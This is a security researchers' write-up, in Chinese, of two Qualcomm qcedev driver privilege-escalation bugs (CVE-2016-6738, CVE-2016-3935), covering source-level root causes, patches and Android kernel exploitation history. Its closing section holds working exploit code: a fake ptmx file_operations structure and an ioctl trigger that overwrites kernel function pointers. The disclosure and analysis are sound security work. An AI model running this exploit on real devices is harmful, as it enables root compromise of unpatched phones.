前言
CVE-2016-3935 和 CVE-2016-6738 是我们发现的高通加解密引擎(Qualcomm crypto engine)的两个提权漏洞,分别在2016年10月和11月的谷歌android漏洞榜被公开致谢,同时高通也在2016年10月和11月的漏洞公告里进行了介绍和公开致谢。这两个漏洞报告给谷歌的时候都提交了exploit并且被采纳,这篇文章介绍一下这两个漏洞的成因和利用。
背景知识
高通芯片提供了硬件加解密功能,并提供驱动给内核态和用户态程序提供高速加解密服务,我们在这里收获了多个漏洞,主要有3个驱动
- qcrypto driver: 供内核态程序使用的加解密接口
- qcedev driver: 供用户态程序使用的加解密接口
- qce driver: 与加解密芯片交互,提供加解密驱动底层接口
Documentation/crypto/msm/qce.txt
Linux kernel
(ex:IPSec)<--*Qualcomm crypto driver----+
(qcrypto) |
(for kernel space app) |
|
+-->|
|
| *qce <----> Qualcomm
| driver ADM driver <---> ADM HW
+-->| | |
| | |
| | |
| | |
Linux kernel | | |
misc device <--- *QCEDEV Driver-------+ | |
interface (qcedev) (Reg interface) (DMA interface)
(for user space app) /
/
/
/
/
/
/
Qualcomm crypto CE3 HW
qcedev driver 就是本文两个漏洞发生的地方,这个驱动通过 ioctl 接口为用户层提供加解密和哈希运算服务。
Documentation/crypto/msm/qcedev.txt
Cipher IOCTLs:
--------------
QCEDEV_IOCTL_ENC_REQ is for encrypting data.
QCEDEV_IOCTL_DEC_REQ is for decrypting data.
The caller of the IOCTL passes a pointer to the structure shown
below, as the second parameter.
struct qcedev_cipher_op_req {
int use_pmem;
union{
struct qcedev_pmem_info pmem;
struct qcedev_vbuf_info vbuf;
};
uint32_t entries;
uint32_t data_len;
uint8_t in_place_op;
uint8_t enckey[QCEDEV_MAX_KEY_SIZE];
uint32_t encklen;
uint8_t iv[QCEDEV_MAX_IV_SIZE];
uint32_t ivlen;
uint32_t byteoffset;
enum qcedev_cipher_alg_enum alg;
enum qcedev_cipher_mode_enum mode;
enum qcedev_oper_enum op;
};
加解密服务的核心结构体是 struct qcedev_cipher_op_req, 其中, 待加/解密数据存放在 vbuf 变量里,enckey 是秘钥, alg 是算法,这个结构将控制内核qce引擎的加解密行为。
Documentation/crypto/msm/qcedev.txt
Hashing/HMAC IOCTLs
-------------------
QCEDEV_IOCTL_SHA_INIT_REQ is for initializing a hash/hmac request.
QCEDEV_IOCTL_SHA_UPDATE_REQ is for updating hash/hmac.
QCEDEV_IOCTL_SHA_FINAL_REQ is for ending the hash/mac request.
QCEDEV_IOCTL_GET_SHA_REQ is for retrieving the hash/hmac for data
packet of known size.
QCEDEV_IOCTL_GET_CMAC_REQ is for retrieving the MAC (using AES CMAC
algorithm) for data packet of known size.
The caller of the IOCTL passes a pointer to the structure shown
below, as the second parameter.
struct qcedev_sha_op_req {
struct buf_info data[QCEDEV_MAX_BUFFERS];
uint32_t entries;
uint32_t data_len;
uint8_t digest[QCEDEV_MAX_SHA_DIGEST];
uint32_t diglen;
uint8_t *authkey;
uint32_t authklen;
enum qcedev_sha_alg_enum alg;
struct qcedev_sha_ctxt ctxt;
};
哈希运算服务的核心结构体是 struct qcedev_sha_op_req, 待处理数据存放在 data 数组里,entries 是待处理数据的份数,data_len 是总长度。
漏洞成因
可以通过下面的方法获取本文的漏洞代码
* git clone https://android.googlesource.com/kernel/msm.git
* git checkout android-msm-angler-3.10-nougat-mr2
* git checkout 6cc52967be8335c6f53180e30907f405504ce3dd drivers/crypto/msm/qcedev.c
CVE-2016-6738 漏洞成因
可以通过下面的方法获取本文的漏洞代码
现在,我们来看第一个漏洞 cve-2016-6738
介绍漏洞之前,先科普一下linux kernel 的两个小知识点
1) linux kernel 的用户态空间和内核态空间是怎么划分的?
简单来说,在一个进程的地址空间里,比 thread_info->addr_limit 大的属于内核态地址,比它小的属于用户态地址
2) linux kernel 用户态和内核态之间数据怎么传输?
不可以直接赋值或拷贝,需要使用规定的接口进行数据拷贝,主要是4个接口:
copy_from_user/copy_to_user/get_user/put_user
这4个接口会对目标地址进行合法性校验,比如:
copy_to_user = access_ok + __copy_to_user // __copy_to_user 可以理解为是memcpy
下面看漏洞代码
file: drivers/crypto/msm/qcedev.c
long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...
switch (cmd) {
case QCEDEV_IOCTL_ENC_REQ:
case QCEDEV_IOCTL_DEC_REQ:
if (!access_ok(VERIFY_WRITE, (void __user *)arg,
sizeof(struct qcedev_cipher_op_req)))
return -EFAULT;
if (__copy_from_user(&qcedev_areq.cipher_op_req,
(void __user *)arg,
sizeof(struct qcedev_cipher_op_req)))
return -EFAULT;
qcedev_areq.op_type = QCEDEV_CRYPTO_OPER_CIPHER;
if (qcedev_check_cipher_params(&qcedev_areq.cipher_op_req,
podev))
return -EINVAL;
err = qcedev_vbuf_ablk_cipher(&qcedev_areq, handle);
if (err)
return err;
if (__copy_to_user((void __user *)arg,
&qcedev_areq.cipher_op_req,
sizeof(struct qcedev_cipher_op_req)))
return -EFAULT;
break;
...
}
return 0;
err:
debugfs_remove_recursive(_debug_dent);
return rc;
}
当用户态通过 ioctl 函数进入 qcedev 驱动后,如果 command 是 QCEDEV_IOCTL_ENC_REQ(加密)或者 QCEDEV_IOCTL_DEC_REQ(解密),最后都会调用函数 qcedev_vbuf_ablk_cipher 进行处理。
file: drivers/crypto/msm/qcedev.c
static int qcedev_vbuf_ablk_cipher(struct qcedev_async_req *areq,
struct qcedev_handle *handle)
{
...
struct qcedev_cipher_op_req *creq = &areq->cipher_op_req;
/* Verify Source Address's */
for (i = 0; i < areq->cipher_op_req.entries; i++)
if (!access_ok(VERIFY_READ,
(void __user *)areq->cipher_op_req.vbuf.src[i].vaddr,
areq->cipher_op_req.vbuf.src[i].len))
return -EFAULT;
/* Verify Destination Address's */
if (creq->in_place_op != 1) {
for (i = 0, total = 0; i < QCEDEV_MAX_BUFFERS; i++) {
if ((areq->cipher_op_req.vbuf.dst[i].vaddr != 0) &&
(total < creq->data_len)) {
if (!access_ok(VERIFY_WRITE,
(void __user *)creq->vbuf.dst[i].vaddr,
creq->vbuf.dst[i].len)) {
pr_err("%s:DST WR_VERIFY err %d=0x%lxn",
__func__, i, (uintptr_t)
creq->vbuf.dst[i].vaddr);
return -EFAULT;
}
total += creq->vbuf.dst[i].len;
}
}
} else {
for (i = 0, total = 0; i < creq->entries; i++) {
if (total < creq->data_len) {
if (!access_ok(VERIFY_WRITE,
(void __user *)creq->vbuf.src[i].vaddr,
creq->vbuf.src[i].len)) {
pr_err("%s:SRC WR_VERIFY err %d=0x%lxn",
__func__, i, (uintptr_t)
creq->vbuf.src[i].vaddr);
return -EFAULT;
}
total += creq->vbuf.src[i].len;
}
}
}
total = 0;
...
if (areq->cipher_op_req.data_len > max_data_xfer) {
...
} else
err = qcedev_vbuf_ablk_cipher_max_xfer(areq, &di, handle,
... k_align_src);
return err;
}
在 qcedev_vbuf_ablk_cipher 函数里,首先对 creq->vbuf.src 数组里的地址进行了校验,接下去它需要校验 creq->vbuf.dst 数组里的地址
这时候我们发现,当变量 creq->in_place_op 的值不等于 1 时,它才会校验 creq->vbuf.dst 数组里的地址,否则目标地址creq->vbuf.dst[i].vaddr 将不会被校验
这里的 creq->in_place_op 是一个用户层可以控制的值,如果后续代码对这个值没有要求,那么这里就可以通过让 creq->in_place_op = 1 来绕过对 creq->vbuf.dst[i].vaddr 的校验,这是一个疑似漏洞
file: drivers/crypto/msm/qcedev.c
static int qcedev_vbuf_ablk_cipher_max_xfer(struct qcedev_async_req *areq,
int *di, struct qcedev_handle *handle,
uint8_t *k_align_src)
{
...
uint8_t *k_align_dst = k_align_src;
struct qcedev_cipher_op_req *creq = &areq->cipher_op_req;
if (areq->cipher_op_req.mode == QCEDEV_AES_MODE_CTR)
byteoffset = areq->cipher_op_req.byteoffset;
user_src = (void __user *)areq->cipher_op_req.vbuf.src[0].vaddr;
if (user_src && __copy_from_user((k_align_src + byteoffset),
(void __user *)user_src,
areq->cipher_op_req.vbuf.src[0].len))
return -EFAULT;
k_align_src += byteoffset + areq->cipher_op_req.vbuf.src[0].len;
for (i = 1; i < areq->cipher_op_req.entries; i++) {
user_src =
(void __user *)areq->cipher_op_req.vbuf.src[i].vaddr;
if (user_src && __copy_from_user(k_align_src,
(void __user *)user_src,
areq->cipher_op_req.vbuf.src[i].len)) {
return -EFAULT;
}
k_align_src += areq->cipher_op_req.vbuf.src[i].len;
}
...
while (creq->data_len > 0) {
if (creq->vbuf.dst[dst_i].len <= creq->data_len) {
if (err == 0 && __copy_to_user(
(void __user *)creq->vbuf.dst[dst_i].vaddr,
(k_align_dst + byteoffset),
creq->vbuf.dst[dst_i].len))
return -EFAULT;
k_align_dst += creq->vbuf.dst[dst_i].len +
byteoffset;
creq->data_len -= creq->vbuf.dst[dst_i].len;
dst_i++;
} else {
if (err == 0 && __copy_to_user(
(void __user *)creq->vbuf.dst[dst_i].vaddr,
(k_align_dst + byteoffset),
creq->data_len))
return -EFAULT;
k_align_dst += creq->data_len;
creq->vbuf.dst[dst_i].len -= creq->data_len;
creq->vbuf.dst[dst_i].vaddr += creq->data_len;
creq->data_len = 0;
}
}
*di = dst_i;
return err;
};
在函数 qcedev_vbuf_ablk_cipher_max_xfer 里,我们发现它没有再用到变量 creq->in_place_op, 也没有对地址 creq->vbuf.dst[i].vaddr 做校验,我们还可以看到该函数最后是使用 __copy_to_user 而不是 copy_to_user 从变量 k_align_dst 拷贝数据到地址 creq->vbuf.dst[i].vaddr
由于 __copy_to_user 本质上只是 memcpy, 且 __copy_to_user 的目标地址是 creq->vbuf.dst[dst_i].vaddr, 这个地址可以被用户态控制, 这样漏洞就坐实了,我们得到了一个内核任意地址写漏洞。
接下去我们看一下能写什么值
file: drivers/crypto/msm/qcedev.c
while (creq->data_len > 0) {
if (creq->vbuf.dst[dst_i].len <= creq->data_len) {
if (err == 0 && __copy_to_user(
(void __user *)creq->vbuf.dst[dst_i].vaddr,
(k_align_dst + byteoffset),
creq->vbuf.dst[dst_i].len))
return -EFAULT;
k_align_dst += creq->vbuf.dst[dst_i].len +
byteoffset;
creq->data_len -= creq->vbuf.dst[dst_i].len;
dst_i++;
} else {
再看一下漏洞触发的地方,源地址是 k_align_dst ,这是一个局部变量,下面看这个地址的内容能否控制。
static int qcedev_vbuf_ablk_cipher_max_xfer(struct qcedev_async_req *areq,
int *di, struct qcedev_handle *handle,
uint8_t *k_align_src)
{
int err = 0;
int i = 0;
int dst_i = *di;
struct scatterlist sg_src;
uint32_t byteoffset = 0;
uint8_t *user_src = NULL;
uint8_t *k_align_dst = k_align_src;
struct qcedev_cipher_op_req *creq = &areq->cipher_op_req;
if (areq->cipher_op_req.mode == QCEDEV_AES_MODE_CTR)
byteoffset = areq->cipher_op_req.byteoffset;
user_src = (void __user *)areq->cipher_op_req.vbuf.src[0].vaddr;
if (user_src && __copy_from_user((k_align_src + byteoffset), // line 1160
(void __user *)user_src,
areq->cipher_op_req.vbuf.src[0].len))
return -EFAULT;
k_align_src += byteoffset + areq->cipher_op_req.vbuf.src[0].len;
在函数 qcedev_vbuf_ablk_cipher_max_xfer 的行 1160 可以看到,变量 k_align_dst 的值是从用户态地址拷贝过来的,可以被控制,但是,还没完
1178 /* restore src beginning */
1179 k_align_src = k_align_dst;
1180 areq->cipher_op_req.data_len += byteoffset;
1181
1182 areq->cipher_req.creq.src = (struct scatterlist *) &sg_src;
1183 areq->cipher_req.creq.dst = (struct scatterlist *) &sg_src;
1184
1185 /* In place encryption/decryption */
1186 sg_set_buf(areq->cipher_req.creq.src,
1187 k_align_dst,
1188 areq->cipher_op_req.data_len);
1189 sg_mark_end(areq->cipher_req.creq.src);
1190
1191 areq->cipher_req.creq.nbytes = areq->cipher_op_req.data_len;
1192 areq->cipher_req.creq.info = areq->cipher_op_req.iv;
1193 areq->cipher_op_req.entries = 1;
1194
1195 err = submit_req(areq, handle);
1196
1197 /* copy data to destination buffer*/
1198 creq->data_len -= byteoffset;
行1195调用函数 submit_req ,这个函数的作用是提交一个 buffer 给高通加解密引擎进行加解密,buffer 的设置由函数 sg_set_buf 完成,通过行 1186 可以看到,变量 k_align_dst 就是被传进去的 buffer , 经过这个操作后, 变量 k_align_dst 的值会被改变, 即我们通过__copy_to_user 传递给 creq->vbuf.dst[dst_i].vaddr 的值是被加密或者解密过一次的值。
那么我们怎么控制最终写到任意地址的那个值呢?
思路很直接,我们将要写的值先用一个秘钥和算法加密一次,然后再用解密的模式触发漏洞,在漏洞触发过程中,会自动解密,如下:
1) 假设我们最终要写的数据是A, 我们先选一个加密算法和key进行加密
buf = A
op = QCEDEV_OPER_ENC // operation 为加密
alg = QCEDEV_ALG_DES // 算法
mode = QCEDEV_DES_MODE_ECB
key = xxx // 秘钥
=> B
2) 然后将B作为参数传入 qcedev_vbuf_ablk_cipher_max_xfer 函数触发漏洞,同时参数设置为解密操作,并且传入同样的解密算法和key
buf = B
op = QCEDEV_OPER_DEC //// operation 为解密
alg = QCEDEV_ALG_DES // 一样的算法
mode = QCEDEV_DES_MODE_ECB
key = xxx // 一样的秘钥
=> A
这样的话,经过 submit_req 操作后, line 1204 得到的 k_align_dst 就是我们需要的数据。
至此,我们得到了一个任意地址写任意值的漏洞。
CVE-2016-6738 漏洞补丁
这个 漏洞的修复 很直观,将 in_place_op 的判断去掉了,对 creq->vbuf.src 和 creq->vbuf.dst 两个数组里的地址挨个进行 access_ok 校验
下面看第二个漏洞
CVE-2016-3935 漏洞成因
long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...
switch (cmd) {
...
case QCEDEV_IOCTL_SHA_INIT_REQ:
{
struct scatterlist sg_src;
if (!access_ok(VERIFY_WRITE, (void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (__copy_from_user(&qcedev_areq.sha_op_req,
(void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
return -EINVAL;
...
break;
...
case QCEDEV_IOCTL_SHA_UPDATE_REQ:
{
struct scatterlist sg_src;
if (!access_ok(VERIFY_WRITE, (void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (__copy_from_user(&qcedev_areq.sha_op_req,
(void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
return -EINVAL;
...
break;
...
default:
return -ENOTTY;
}
return err;
}
在 command 为下面几个case 里都会调用 qcedev_check_sha_params 函数对用户态传入的数据进行合法性校验
QCEDEV_IOCTL_SHA_INIT_REQ
QCEDEV_IOCTL_SHA_UPDATE_REQ
QCEDEV_IOCTL_SHA_FINAL_REQ
QCEDEV_IOCTL_GET_SHA_REQ
static int qcedev_check_sha_params(struct qcedev_sha_op_req *req,
struct qcedev_control *podev)
{
uint32_t total = 0;
uint32_t i;
...
/* Check for sum of all src length is equal to data_len */
for (i = 0, total = 0; i < req->entries; i++) {
if (req->data[i].len > ULONG_MAX - total) {
pr_err("%s: Integer overflow on total req buf lengthn",
__func__);
goto sha_error;
}
total += req->data[i].len;
}
if (total != req->data_len) {
pr_err("%s: Total src(%d) buf size != data_len (%d)n",
__func__, total, req->data_len);
goto sha_error;
}
return 0;
sha_error:
return -EINVAL;
}
qcedev_check_sha_params 对用户态传入的数据做多种校验,其中一项是对传入的数据数组挨个累加长度,并对总长度做整数溢出校验
问题在于, req->data[i].len 是 uint32_t 类型, 总长度 total 也是 uint32_t 类型,uint32_t 的上限是 UINT_MAX, 而这里使用了 ULONG_MAX 来做校验
usr/include/limits.h
/* Maximum value an `unsigned long int' can hold. (Minimum is 0.) */
# if __WORDSIZE == 64
# define ULONG_MAX 18446744073709551615UL
# else
# define ULONG_MAX 4294967295UL
# endif
注意到:
32 bit 系统, UINT_MAX = ULONG_MAX
64 bit 系统, UINT_MAX != ULONG_MAX
所以这里的整数溢出校验 在64bit系统是无效的,即在 64bit 系统,req->data 数组项的总长度可以整数溢出,这里还无法确定这个整数溢出能造成什么后果。
下面看看有何影响,我们选取 case QCEDEV_IOCTL_SHA_UPDATE_REQ
long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...
case QCEDEV_IOCTL_SHA_UPDATE_REQ:
{
struct scatterlist sg_src;
if (!access_ok(VERIFY_WRITE, (void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (__copy_from_user(&qcedev_areq.sha_op_req,
(void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
return -EINVAL;
qcedev_areq.op_type = QCEDEV_CRYPTO_OPER_SHA;
if (qcedev_areq.sha_op_req.alg == QCEDEV_ALG_AES_CMAC) {
err = qcedev_hash_cmac(&qcedev_areq, handle, &sg_src);
if (err)
return err;
} else {
if (handle->sha_ctxt.init_done == false) {
pr_err("%s Init was not calledn", __func__);
return -EINVAL;
}
err = qcedev_hash_update(&qcedev_areq, handle, &sg_src);
if (err)
return err;
}
memcpy(&qcedev_areq.sha_op_req.digest[0],
&handle->sha_ctxt.digest[0],
handle->sha_ctxt.diglen);
if (__copy_to_user((void __user *)arg, &qcedev_areq.sha_op_req,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
}
break;
...
return err;
}
qcedev_areq.sha_op_req.alg 的值也是应用层控制的,当等于 QCEDEV_ALG_AES_CMAC 时,进入函数 qcedev_hash_cmac
868 static int qcedev_hash_cmac(struct qcedev_async_req *qcedev_areq,
869 struct qcedev_handle *handle,
870 struct scatterlist *sg_src)
871 {
872 int err = 0;
873 int i = 0;
874 uint32_t total;
875
876 uint8_t *user_src = NULL;
877 uint8_t *k_src = NULL;
878 uint8_t *k_buf_src = NULL;
879
880 total = qcedev_areq->sha_op_req.data_len;
881
882 /* verify address src(s) */
883 for (i = 0; i < qcedev_areq->sha_op_req.entries; i++)
884 if (!access_ok(VERIFY_READ,
885 (void __user *)qcedev_areq->sha_op_req.data[i].vaddr,
886 qcedev_areq->sha_op_req.data[i].len))
887 return -EFAULT;
888
889 /* Verify Source Address */
890 if (!access_ok(VERIFY_READ,
891 (void __user *)qcedev_areq->sha_op_req.authkey,
892 qcedev_areq->sha_op_req.authklen))
893 return -EFAULT;
894 if (__copy_from_user(&handle->sha_ctxt.authkey[0],
895 (void __user *)qcedev_areq->sha_op_req.authkey,
896 qcedev_areq->sha_op_req.authklen))
897 return -EFAULT;
898
899
900 k_buf_src = kmalloc(total, GFP_KERNEL);
901 if (k_buf_src == NULL) {
902 pr_err("%s: Can't Allocate memory: k_buf_src 0x%lxn",
903 __func__, (uintptr_t)k_buf_src);
904 return -ENOMEM;
905 }
906
907 k_src = k_buf_src;
908
909 /* Copy data from user src(s) */
910 user_src = (void __user *)qcedev_areq->sha_op_req.data[0].vaddr;
911 for (i = 0; i < qcedev_areq->sha_op_req.entries; i++) {
912 user_src =
913 (void __user *)qcedev_areq->sha_op_req.data[i].vaddr;
914 if (user_src && __copy_from_user(k_src, (void __user *)user_src,
915 qcedev_areq->sha_op_req.data[i].len)) {
916 kzfree(k_buf_src);
917 return -EFAULT;
918 }
919 k_src += qcedev_areq->sha_op_req.data[i].len;
920 }
...
}
在函数 qcedev_hash_cmac 里, line 900 申请的堆内存 k_buf_src 的长度是 qcedev_areq->sha_op_req.data_len ,即请求数组里所有项的长度之和
然后在 line 911 ~ 920 的循环里,会将请求数组 qcedev_areq->sha_op_req.data[] 里的元素挨个拷贝到堆 k_buf_src 里,由于前面存在的整数溢出漏洞,这里会转变成为一个堆溢出漏洞,至此漏洞坐实。
CVE-2016-3935 漏洞补丁
这个 漏洞补丁 也很直观,就是在做整数溢出时,将 ULONG_MAX 改成了 U32_MAX, 这种因为系统由32位升级到64位导致的代码漏洞,是 2016 年的一类常见漏洞
下面进入漏洞利用分析
漏洞利用
android kernel 漏洞利用基础
include/linux/sched.h
struct task_struct {
volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
void *stack;
...
/* process credentials */
const struct cred __rcu *real_cred; /* objective and real subjective task
* credentials (COW) */
const struct cred __rcu *cred; /* effective (overridable) subjective task
* credentials (COW) */
char comm[TASK_COMM_LEN]; /* executable name excluding path
- access with [gs]et_task_comm (which lock
it with task_lock())
- initialized normally by setup_new_exec */
...
}
linux kernel 里,进程由 struct task_struct 表示,进程的权限由该结构体的两个成员 real_cred 和 cred 表示
include/linux/cred.h
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
}
所谓提权,就是修改进程的 real_cred/cred 这两个结构体的各种 id 值,随着缓解措施的不断演进,完整的提权过程还需要修改其他一些内核变量的值,但是最基础的提权还是修改本进程的 cred, 这个任务又可以分解为多个问题:
怎么找到目标 cred ?
cred 所在内存页面是否可写?
如何利用漏洞往 cred 所在地址写值?
利用方法回顾
图片来自:http://powerofcommunity.net/poc2016/x82.pdf
上图是最近若干年围绕 android kernel 漏洞利用和缓解的简单回顾,
09 ~ 10 年的时候,由于没有对 mmap 的地址范围做任何限制,应用层可以映射0页面,null pointer deref 漏洞在当时也是可以做利用的,后面针对这种漏洞推出了 mmap_min_addr 限制,目前 null pointer deref 漏洞一般只能造成 dos.
11 ~ 13 年的时候,常用的提权套路是从 /proc/kallsyms 搜索符号 commit_creds 和 prepare_kernel_cred 的地址,然后在用户态通过这两个符号构造一个提权函数(如下),
shellcode:
static void
obtain_root_privilege_by_commit_creds(void)
{
commit_creds(prepare_kernel_cred(0));
}
可以看到,这个阶段的用户态 shellcode 非常简单, 利用漏洞改写内核某个函数指针(最常见的就是 ptmx 驱动的 fsync 函数)将其实现替换为用户态的函数, 最后在用户态调用被改写的函数, 这样的话从内核直接执行用户态的提权函数完成提权
这种方法在开源root套件 android_run_root_shell 得到了充分提现
后来,内核推出了kptr_restrict/dmesg_restrict 措施使得默认配置下无法从 /proc/kallsyms 等接口搜索内核符号的地址
但是这种缓解措施很容易绕过, android_run_root_shell 里提供了两种方法:
1. 通过一些内存 pattern 直接在内存空间里搜索符号地址,从而得到 commit_creds/prepare_kernel_cred 的值;
libkallsyms:get_kallsyms_in_memory_addresses
2. 放弃使用 commit_creds/prepare_kernel_cred 这两个内核函数,从内核里直接定位到 task_struct 和 cred 结构并改写
obtain_root_privilege_by_modify_task_cred
2013 推出 text RO 和 PXN 等措施,通过漏洞改写内核代码段或者直接跳转到用户态执行用户态函数的提权方式失效了, android_run_root_shell 这个项目里的方法大部分已经失效, 在 PXN 时代,主要的提权思路是使用rop
具体的 rop 技巧有几种,
下面两篇文章讲了基本的 linux kernel ROP 技巧
Linux Kernel ROP – Ropping your way to # (Part 1)/)
Linux Kernel ROP – Ropping your way to # (Part 2)/)
可以看到这两篇文章的方法是搜索一些 rop 指令 ,然后用它们串联 commit_creds/prepare_kernel_cred, 是对上一阶段思路的自然延伸。
使用 rop 改写 addr_limit 的值,破除本进程的系统调用 access_ok 校验,然后通过一些函数如 ptrace_write_value_at_address 直接读写内核来提权, 将 selinux_enforcing 变量写0关闭 selinux
大名鼎鼎的 Ret2dir bypass PXN
还有就是本文使用的思路,用漏洞重定向内核驱动的 xxx_operations 结构体指针到应用层,再用 rop 地址填充应用层的伪 xxx_operations 里的函数实现
还有一些 2017 新出来的绕过缓解措施的技巧,参考
进入2017年,更多的漏洞缓解措施正在被开发和引进,谷歌的nick正在主导开发的项目 Kernel_Self_Protection_Project 对内核漏洞提权方法进行了分类整理,如下
针对以上提权方法,Kernel_Self_Protection_Project 开发了对应的一系列缓解措施,目前这些措施正在逐步推入linux kernel 主线,下面是其中一部分缓解方案,可以看到,我们回顾的所有利用方法都已经被考虑在内,不久的将来,这些方法可能都会失效
Split thread_info off of kernel stack (Done: x86, arm64, s390. Needed on arm, powerpc and others?) * Move kernel stack to vmap area (Done: x86, s390. Needed on arm, arm64, powerpc and others?)
Implement kernel relocation and KASLR for ARM
Write a plugin to clear struct padding
Write a plugin to do format string warnings correctly (gcc’s -Wformat-security is bad about const strings)
Make CONFIG_STRICT_KERNEL_RWX and CONFIG_STRICT_MODULE_RWX mandatory (done for arm64 and x86, other archs still need it)
Convert remaining BPF JITs to eBPF JIT (with blinding) (In progress: arm)
Write lib/test_bpf.c tests for eBPF constant blinding
Further restriction of perf_event_open (e.g. perf_event_paranoid=3)
Extend HARDENED_USERCOPY to use slab whitelisting (in progress)
Extend HARDENED_USERCOPY to split user-facing malloc()s and in-kernel malloc()svmalloc stack guard pages (in progress)
protect ARM vector table as fixed-location kernel target
disable kuser helpers on arm
rename CONFIG_DEBUG_LIST better and default=y
add WARN path for page-spanning usercopy checks (instead of the separate CONFIG)
create UNEXPECTED(), like BUG() but without the lock-busting, etc
create defconfig “make” target for by-default hardened Kconfigs (using guidelines below)
provide mechanism to check for ro_after_init memory areas, and reject structures not marked ro_after_init in vmbus_register()
expand use of __ro_after_init, especially in arch/arm64
Add stack-frame walking to usercopy implementations (Done: x86. In progress: arm64. Needed on arm, others?)
restrict autoloading of kernel modules (like GRKERNSEC_MODHARDEN) (In progress: Timgad LSM)
有兴趣的同学可以进入该项目看看代码,提前了解一下缓解措施,
比如 KASLR for ARM, 将大部分内核对象的地址做了随机化处理,这是以后 android kernel exploit 必须面对的;
另外比如 __ro_after_init ,内核启动完成初始化之后大部分 fops 全局变量都变成 readonly 的,这造成了本文这种利用方法失效, 所幸的是,目前 android kernel 还是可以用的。
本文使用的利用方法
对照 Kernel_Self_Protection_Project 的利用分类,本文的利用思路属于 Userspace data usage
Sometimes an attacker won’t be able to control the instruction pointer directly, but they will be able to redirect the dereference a structure or other pointer. In these cases, it is easiest to aim at malicious structures that have been built in userspace to perform the exploitation.
具体来说,我们在应用层构造一个伪 file_operations 结构体(其他如 tty_operations 也可以),然后通过漏洞改写内核某一个驱动的 fops指针,将其改指向我们在应用层伪造的结构体,之后,我们搜索特定的 rop 并随时替换这个伪 file_operations 结构体里的函数实现,就可以做到在内核多次执行任意代码(取决于rop) ,这种方法的好处包括:
内核有很多驱动,所以 fops 非常多,地址上也比较分散,对一些溢出类漏洞来说,选择比较多
内核的 fops 一般都存放在 writable 的 data 区,至少目前android 主流 kernel 依然如此
将内核的 fops 指向用户空间后,用户空间可以随意改写其内部函数的实现
只需要一次内核写
下面结合漏洞说明怎么利用
CVE-2016-6738 漏洞利用
CVE-2016-6738 是一个任意地址写任意值的漏洞,利用代码已经提交在EXP-CVE-2016-6738
我们选择重定向 /dev/ptmx 设备的 file_operations, 先在用户态构造一个伪结构,如下
map = mmap(0x1000000, (size_t)0x10000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0);
if(map == MAP_FAILED) {
printf("[-] Failed to mmap landing (%d-%s)n", errno, strerror(errno));
ret = -1;
goto out;
}
//printf("[+] landing mmap'ed @ %pn", map);
memset(map, 0x0, 0x10000);
fake_ptmx_fops = map;
printf("[+] fake_ptmx_fops = 0x%lxn",fake_ptmx_fops);
*(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;
*(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;
*(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;
*(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;
*(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;
*(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;
*(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;
*(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;
*(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;
根据前面的分析,伪结构的值需要先做一次加密,再使用
unsigned long edata = 0;
qcedev_encrypt(fd, fake_ptmx_fops, &edata);
trigger(fd, edata);
下面是核心的函数
static int trigger(int fd, unsigned long src)
{
int cmd;
int ret;
int size;
unsigned long dst;
struct qcedev_cipher_op_req params;
dst = PTMX_MISC + 8 * 9; // patch ptmx_cdev->ops
size = sizeof(unsigned long);
memset(¶ms, 0, sizeof(params));
cmd = QCEDEV_IOCTL_DEC_REQ;
params.entries = 1;
params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr
params.alg = QCEDEV_ALG_DES;
params.mode = QCEDEV_DES_MODE_ECB;
params.data_len = size;
params.vbuf.src[0].len = size;
params.vbuf.src[0].vaddr = &src;
params.vbuf.dst[0].len = size;
params.vbuf.dst[0].vaddr = dst;
memcpy(params.enckey,"test", 16);
params.encklen = 16;
printf("[+] overwrite ptmx_cdev opsn");
ret = ioctl(fd, cmd, ¶ms); // trigger
if(ret == -1) {
printf("[-] Ioctl qcedev fail(%s - %d)n", strerror(errno), errno);
return -1;
}
return 0;
}
参数 src 就是 fake_ptmx_fops 加密后的值,我们将其地址放入 qcedev_cipher_op_req.vbuf.src[0].vaddr 里,目标地址 qcedev_cipher_op_req.vbuf.dst[0].vaddr 存放 ptmx_cdev->ops 的地址,然后调用 ioctl 触发漏洞,任意地址写漏洞触发后,目标地址 ptmx_cdev->ops 的值会被覆盖为 fake_ptmx_fops.
